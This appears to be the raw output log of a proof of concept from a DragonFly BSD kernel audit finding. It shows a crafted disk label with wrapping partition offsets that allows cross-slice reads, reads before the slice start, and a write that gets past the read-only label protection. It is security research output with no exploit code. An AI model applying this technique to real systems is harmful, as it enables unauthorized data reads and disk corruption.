DragonFlyBSD Kernel Audit
DF-2910 / run.2.log
← back to finding ↓ download raw
### uname: DragonFly dfbsd 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #0: Thu Jul  2 06:02:54 UTC 2026     root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC  x86_64
### detach stale vn
### attach crafted image
### devices created by kernel auto-probe: /dev/vn0s1 /dev/vn0s1a /dev/vn0s1b /dev/vn0s1c 

### kernel in-core label (DIOCGDINFO64 on /dev/vn0s1):
magic=c4464c59 nparts=16 total=1048576 bbase=4096 pbase=4096 pstop=1044480 abase=0
  part[0] boffset=0x0000000000200000 bsize=0x2000 fstype=9
  part[1] boffset=0xfffffffffff10000 bsize=0x2000 fstype=9
  part[2] boffset=0xfffffffffffffe00 bsize=0xfffffffffffffe00 fstype=9
  part[3] boffset=0x0000000000000000 bsize=0x0 fstype=0
  part[4] boffset=0x0000000000000000 bsize=0x0 fstype=0
  part[5] boffset=0x0000000000000000 bsize=0x0 fstype=0

### partition info (DIOCGPART):
/dev/vn0s1: media_offset=1048576 media_blocks=2048 blksize=512 reserved=8
/dev/vn0s1a: media_offset=3145728 media_blocks=16 blksize=512 reserved=0
/dev/vn0s1b: media_offset=65536 media_blocks=16 blksize=512 reserved=0
/dev/vn0s1c: media_offset=1048064 media_blocks=36028797018963967 blksize=512 reserved=0

### 1. CROSS-SLICE READ: /dev/vn0s1a (slice s1 partition) reads slice s2 data (abs LBA 6144)
SLICE2-SECRET-MARKER!!!!!!
### 2. WRAPAROUND READ: /dev/vn0s1b reads abs LBA 128 (BEFORE slice start, 2^64 wrap in dscheck)
SECTOR128-SECRET-MARKER!!!
### 3. UNIVERSAL WINDOW: /dev/vn0s1c sec 0 -> abs LBA 2047 (pre-slice)
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
### 4. CONTROL write to reserved label area via whole-slice dev (expect EROFS)
write(/dev/vn0s1, sec=1) = -1 errno=30 (Read-only file system)
### 5. BYPASS write to label magic sector via partition dev vn0s1c sec 2 (-> abs LBA 2049)
write(/dev/vn0s1c, sec=2) = 512 errno=0 (ok)
### 6. verify on-disk label magic clobbered (raw read abs LBA 2049 via /dev/vn0)
PWNED-PARTITION-WRITE
### guest alive:  7:22AM  up 23 mins, 0 users, load averages: 0.00, 0.00, 0.00